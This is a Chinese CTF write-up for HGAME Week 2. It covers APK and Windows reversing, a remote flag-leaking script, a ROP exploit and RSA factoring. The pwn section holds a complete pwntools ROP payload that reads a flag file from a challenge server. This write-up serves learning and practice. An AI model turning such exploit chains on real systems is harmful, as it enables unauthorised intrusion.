












WEEK2-WriteUp

###

2.Re

1.ezapk

为了做这个题目我找了好多好多工具ToT

	AndroidKiller.zip	2021/2/9 23:40	ZIP 压缩文件	20,302 KB
	apktool_2.5.0.jar	2021/2/9 21:42	Executable Jar File	18,849 KB
	app-release.apk	2021/2/6 20:12	APK 文件	1,339 KB
	app-release-dex2jar.jar	2021/2/9 22:11	Executable Jar File	546 KB
	dex2jar-2.0.zip	2021/2/9 22:08	ZIP 压缩文件	2,308 KB
	dex2jar-2.x.zip	2021/2/9 21:47	ZIP 压缩文件	2,037 KB
	dex-tools-2.0.zip	2021/2/9 22:09	ZIP 压缩文件	2,308 KB
	dex-tools-2.1-SNAPSHOT.zip	2021/2/9 22:09	ZIP 压缩文件	5,457 KB
	jadx-1.2.0.2-712389ab.zip	2021/2/10 0:12	ZIP 压缩文件	13,242 KB
	jadx-master.zip	2021/2/9 23:15	ZIP 压缩文件	2,984 KB
	jd-gui-1.6.6.jar	2021/2/9 21:45	Executable Jar File	3,163 KB

最后免费的我推荐jadx 或者jeb demo。不过jadx有些地方还是反编译不出来，很难看懂，似乎是和类型有关的部分。最后一个能打的都没有，最后跑去找到了 jeb pro用。相当的给力，虽然这道题理论上可以 看字节码，也有教程讲java的字节码，但是——正经人谁看字节码呀！

在付费面前，一个能打的都没有/doge(

在逆的过程中找到“Again?”字符串，定位到button的方法上

```
@Override // android.view.View.OnClickListener
public final void onClick(View view) {
    MainActivity mainActivity;
    String str;
    MainActivity mainActivity2 = this.f1427a;
    T t = this.f1428b.f1325a;
    c.d.b.a.b(t, "pass");
    MainActivity.s(mainActivity2, t.getText().toString());
    c.d.b.a.b(this.f1427a.getApplicationContext().getString(R.string.flag), "applicationContext.getString(R.string.flag)");
    MainActivity mainActivity3 = this.f1427a;
    T t2 = this.f1428b.f1325a;
    c.d.b.a.b(t2, "pass");
    if (c.d.b.a.a(MainActivity.s(mainActivity3, t2.getText().toString()), this.f1427a.getApplicationContext().getString(R.string.flag))) {
        mainActivity = this.f1427a;
        str = "Good Job!";
    } else {
        mainActivity = this.f1427a;
        str = "Again?";
    }
    Toast.makeText(mainActivity, str, 1).show();
}
```

经过一番调教，找到MainActivity.s是一个加密函数，继续挖掘。找到

```

public static final String s(MainActivity arg5, String arg6) {
    CharSequence v3_2;
    String v0 = arg5.getApplicationContext().getString(0x7F0E002B); // string:key "A_HIDDEN_KEY"
    a.b(v0, applicationContext.getString(R.string.key));
    SecretKeySpec v1 = new SecretKeySpec(arg5.t("SHA-256", v0), "AES");
    IvParameterSpec v2 = new IvParameterSpec(arg5.t("MD5", v0));
    Cipher v5 = Cipher.getInstance("AES/CBC/PKCS7Padding");
    v5.init(1, v1, v2);
    Charset v1_1 = c.g.a.a;
    if(arg6 != null) {
        byte[] v6 = arg6.getBytes(v1_1);
        a.b(((Object)v6), "(this as java.lang.String).getBytes(charset)");
        int v6_1 = 0;
        String v5_1 = Base64.encodeToString(v5.doFinal(v6), 0);
        a.b(v5_1, encodeToString(byteResult, Base64.DEFAULT));
        List v1_2 = Arrays.asList(new String[]{"\n"});
        a.b(v1_2, "ArraysUtilJVM.asList(this)");
        b v5_2 = new b(new c.g.b(v5_1, 0, 0, new h(v1_2, false)), new i(v5_1));
        StringBuilder v1_3 = new StringBuilder();
        v1_3.append("");
        Iterator v5_3 = v5_2.iterator();
        while(true) {
            label_46:
            b.a v3 = (b.a)v5_3;
            if(!v3.hasNext()) {
                break;
            }

            Object v3_1 = v3.next();
            ++v6_1;
            if(v6_1 > 1) {
                v1_3.append("");
            }

            if(v3_1 == null ? true : v3_1 instanceof CharSequence) {
                v3_2 = (CharSequence)v3_1;
            }
            else {
                if((v3_1 instanceof Character)) {
                    v1_3.append(((Character)v3_1).charValue());
                }
            }
        }
    }
}

```

用的AES-CBC, key是SHA-256("A_HIDDEN_KEY"), IV是MD5("A_HIDDEN_KEY"), 上脚本咯

```

from __future__ import absolute_import, division, unicode_literals
from Crypto.Cipher import AES
import hashlib
from binascii import unhexlify
import base64

def aes_encrypt(data, key, _IV):
    cryptor = AES.new(key, AES.MODE_CBC, _IV)
    return cryptor.encrypt(data)

def aes_decrypt(data, key, _IV):
    cryptor = AES.new(key, AES.MODE_CBC, _IV)
    return cryptor.decrypt(data)

if __name__ == "__main__":
    key = b'A_HIDDEN_KEY'
    flag =
    base64.b64decode(b'EEB23sI1wd9Gvhvk1sgwyQZhji1nYwCi5au1guz0aIg5dMAj9qPA7lNiYVoPSdRY')
    sec_key = unhexlify(hashlib.sha256(key).hexdigest())
    _IV = unhexlify(hashlib.md5(key).hexdigest())

    print("key : ",key)
    print("sec_key : ",sec_key)
    print("_IV : ",_IV)

```

```
print("flag : ", flag)
content = aes_decrypt(flag, sec_key, _IV)
print(content)
```

其实这道题可以再混淆一下，不过毕竟是ezapk，首次接触确实头疼，还有加壳的，基本套路应该和pe的一些操作类似。

2.helloRe2

这道题有几个点我新见到的，一个是Open-Maping，似乎是可以共享一段内核内存的，可以用于进程间的通信，和tube有点像。之所以卡了很久是因为严重睡眠不足（哇我函数参数看歪了直接进行一个调试的重新）动态调试用的x32dbg，找到了一个childProcess的插件，在createProcess的时候可以调试产生的进程，不过似乎是在ResumeThread和Sleep执行完了之后，这里也不清楚为什么，挖了一个坑。

```
OpenFileMappingA //这个函数只有在 CreateFileMappingA 之后才能有效调用，因此第一个函数没有成果，其子进程在父进程调用了CreateFileMappingA之后才调用成果进入了password2
MapViewOfFile
IsDebuggerPresent //这个算很常见了，一般都要在导入函数里面看一下，有的话要么调试的时候改一下flag，要么直接把这个函数nop掉，然后eax = 0
```

这里涉及了SSE2指令，可以说又是我的知识盲区了，不过查一下也挺快，这个指令还挺好用的来着。

```
movdqa xmm0, xmmword_4043A0
pcmpeqb xmm0, ds:xmmword_4030F0
pmovmskb eax, xmm0
cmp ax, 0FFFFh
```

第一个password很好找到的，动态调试到上面这段，翻一下内存，啪的一下，他就出来了。

第二个password就麻烦了，虽然从以下第一个函数中能得到是AES，其实这样就简单了，不过我的睡眠困乏犯了，参数看错位置，直接进行一个时间的浪费。

```
BCryptOpenAlgorithmProvider(pt, "AES", 0, 0)
BCryptSetProperty
BCryptGetProperty
BCryptGenerateSymmetricKey
BCryptExportKey
BCryptEncrypt
```

可气的是BCryptEncrypt调用了两次，没仔细看直接上当，第一个只是为了获取长度，第二个则是加密，找到参数，翻翻内存，就找到了。这里对BCryptExportKey直接选择性忽略，**我看不见，我看不见！**（其实我纠结了好久，看了好几次文档，为什么这么复杂呢，可能是因为为了保证传输时候的安全性）最后上脚本。

```
#python3
from Crypto.Cipher import AES
import base64

BS = AES.block_size # 这个等于16
mode = AES.MODE_CBC
pad = lambda s: s + (BS - len(s)) * "\0" # 用于补全key
# 用于补全下面的text，上面两个网址就是用以下形式补全的
pad_txt = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s: s[0:-ord(s[-1])]
```


```

key = '\x32\x63\x32\x60\x31\x60\x30\x66\x3B\x68\x38\x3B\x6E\x3C\x36\x36' # the
length can be (16, 24, 32) # key
text = 'http://www.baidu.com/' # 加密文本
vi = '\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f' # 偏移量

cipher = AES.new(pad(key), mode, vi)
encrypted = cipher.encrypt(pad_txt(text))
#通过aes加密后, 再base64加密
encrypted = base64.b64encode(encrypted)
print(encrypted)

encrypted = b'\xB7\xFE\xFE\xD9\x07\x76\x79\x65\x3F\x4E\
\x5F\x62\xD5\x02\xF6\x7E\x32\x62\x30\x63\
\x35\x65\x36\x61\x33\x61\x32\x30\x62\x31\x38\x39'
cryptor=AES.new(pad(key),mode, vi)
# 解密, 解密后text文本会包含用来补全的字符
plain_text = cryptor.decrypt(encrypted)
print(plain_text)

```

 QQ截图20210208153451

这个明文也是稀奇古怪, 后面一段啥也不知道。结果只取的前面2333.

3.fake_debugger beta

写着debugger但我觉得应该是一个内嵌汇编, 用于输出当时的eax, ebx, ecx, zf等值。每一个ecx标志着循环下, eax应该是函数返回值, 第一个ebx应该是加密时泄露的值, 第二个ebx时要比较时从flag那取出来的。由此可知道flag[i] = ebx[-1]^ebx[-2]

```

from pwn import *
import re
import string

def burp(string,times):
    global text
    io = remote("101.132.177.131",9999)
    io.sendline(string)
    io.send("\n"*times)
    text = io.recvall().decode("utf-8")
    #print(text)
    io.close()

if __name__ == "__main__":
    target = "ebx: (\d{1,4})"
    #string = "hgame{You_K"
    string = ""
    append = ""

    times = 2
    text = ""
    while(1):
        burp(string + append + "*****",times)
        ebx_list = re.compile(target).findall(text)
        print(ebx_list)
        if ebx_list:
            append += chr(int(ebx_list[-1])^int(ebx_list[-2]))
        print(string + append)

```

```
times += 2
```

一开始我试着爆破，但是爆破了几位后就容易挂，也不清楚为什么，这里我也留个脚本，万一什么时候就用上了{doge}

```
from pwn import *
import re
import string
import time
def burp(string,times):
    global text
    io = remote("101.132.177.131",9999)
    io.sendline(string)
    io.send(" \n"*times)
    text = io.recvall().decode("utf-8")
    io.close()

if __name__ == "__main__":
    target = "eax: \d{1,4}\nebx: \d{1,4}\necx: (\d{1,3})\nzf: 1\n-----
INFO-----\nWrong Flag! Try again!\n"
    key = string.ascii_letters + string.digits + '~!@#%&*()_+==;<?\\|\'\"'
    string = "hgame{Yo"
    append = ""

    i = 0
    times = 20
    length = len(key)
    text = ""
    while(i < length):
        burp(string+append+key[i]+"aaaaa",times)
        ecx_list = re.compile(target).findall(text)
        print(ecx_list,key[i],string+append,"*",i,"*")
        if ecx_list:
            print("\n***",key[i],"***")
            append += key[i]
            times += 2
            i = 0
            continue
        i = i + 1
```

3.PWN

1.rop_primary

先是一个矩阵乘法，再是一个read溢出，在read上搞事情。

```
#!/usr/bin/python3
from pwn import *
import numpy
import re

io = remote("159.75.104.107",30372)
```

```

data = io.recvuntil("a * b = ?\n").decode("utf-8")
matrix_A_data = data[data.find("A:") + 3 : data.find("B:")]
matrix_B_data = data[data.find("B:") + 3 : data.find("a * b = ?\n")]
matrix_A = numpy.matrix(matrix_A_data.replace('\t\n', ';').replace('\t', ',')
[: -1])
matrix_B = numpy.matrix(matrix_B_data.replace('\t\n', ';').replace('\t', ',')
[: -1])
matrix_C = numpy.matmul(matrix_A, matrix_B)
for i in range(numpy.size(matrix_C, 0)):
    for j in range(numpy.size(matrix_C, 1)):
        io.sendline(str(matrix_C[i, j]))

#0x0000000000401613 : pop rdi ; ret
#0x0000000000401611 : pop rsi ; pop r15 ; ret
#0x00000000004011ad : pop rbp ; ret
rsi_ch = p64(0x401611)
rdi_ch = p64(0x401613)
rbp_ch = p64(0x4011ad)
read = p64(0x401080)
open_ = p64(0x4010A0)
puts = p64(0x401040)
test = p64(0x401583)

payload =
flat([56 * 'A', rsi_ch, p64(0x404500), p64(0), read, rsi_ch, p64(100), p64(0), rdi_ch, p64(
0x404500), open_, rsi_ch, p64(0x404500), p64(0), rdi_ch, p64(0x3), read, rdi_ch, p64(0x40
4500), puts, 0x30 * '\x00'])

io.send(payload)
io.sendline("./flag\x00\x00")

#hgame{10578e800f8a0e1695ca5f6970e0228fec1e15b06a7622360dffa1f4aa09cdd6}

```

由于基本见不到 `mov edi, eax push eax`, 所以找不到简单的方法去把 `rax` 的值赋给 `rsi`, 后来经过**语神**的指导, 他说不用去找 `mov rdi, rax` 这种东西, 我当场蒙蔽, 于是乎去寻找 `open()` 有关的文档, 加上自己调试, 发现 `open()` 返回的 `eax` 居然是 `0x3`。查了一下发现原来, 每次 `open()` 返回的应该是一个最小的值, `0, 1, 2` 这三个句柄对应的是标准输入, 标准输出, 标准错误, 如果我们把其中某个关掉, 那么会返回最小的那个。但是改了之后发现, 怎么输入没有了。调试之后才发现 `open()` 函数执行时有类似 `mov rdx, rsi` 这种指令, 而我只要满足他是偶数(可读)就可以了, 由此我发现以后可以利用一些函数的内部的操作进行ROP等等, 不过得很熟悉。

堆题把我打裂开, 不懂利用, 来不及看了都怪这个海灯节(

4.Crypto

4.WhitegiveRSA

思路估计两种, 一种时以一些算法去攻击, 另外一种就是查询有无使用以知的可分解的大素数

找到可用的脚本


```

X wr@ubuntu ~/Documents/crypto/RsaCtfTool-master python3 ./RsaCtfTool.py -n 8825645955362241
40639625987659416029426239230804614613279163 -e 65537 --uncipher 74783149135389678036565451774821
6624798517769637260742155527
private argument is not set, the private key will not be displayed, even if recovered.

[*] Testing key /tmp/tmpxem47mdu.
Can't load qicheng because sage is not installed
Can't load boneh durfee because sage is not installed
Can't load smallfraction because sage is not installed
Can't load binary polynomial factoring because sage is not installed
Can't load roca because sage is not installed
Can't load ecm2 because sage is not installed
Can't load ecm because sage is not installed
[*] Performing wolframalpha attack on /tmp/tmpxem47mdu.
[!] Wolfram Alpha is not enabled, install the lib.
[!] Wolfram Alpha is not enabled, check if ENV WA_API_KEY is set.
[!] follow: https://products.wolframalpha.com/api/documentation/
[!] export WA_API_KEY=XXXXXX-XXXXXXXXXX
[*] Performing fermat attack on /tmp/tmpxem47mdu.
[!] Timeout.
[*] Performing factordb attack on /tmp/tmpxem47mdu.

Results for /tmp/tmpxem47mdu:

Unciphered data :
HEX : 0x006867616d657b7730777e794f555f6b4e6f572b523540217d
INT (big endian) : 2559974471936861332250695601896749831380586717227729822077
INT (little endian) : 785453024500820534383071334702728138325115521224455735437312
STR : b'\x00hgame{w0w-yOU_kNoW+R5@!}'

```

← → ↻ 不安全 | factordb.com/index.php?id=1100000001475842129

应用 娱乐 madn 汇编学习 greenhateam 安全方面 程设期末作业 gitgitgit email C语言 »

Search Sequences Report results Factor tables Status Downloads Login

882564595536224140639625987659416029426239230804614613279163 Factorize!

Result:		
status	digits	number
FF	60	8825645955...63 _{<60>} = 857504083339712752489993810777 _{<30>} · 1029224947942998075080348647219 _{<31>}

More information ↗

ECM ↗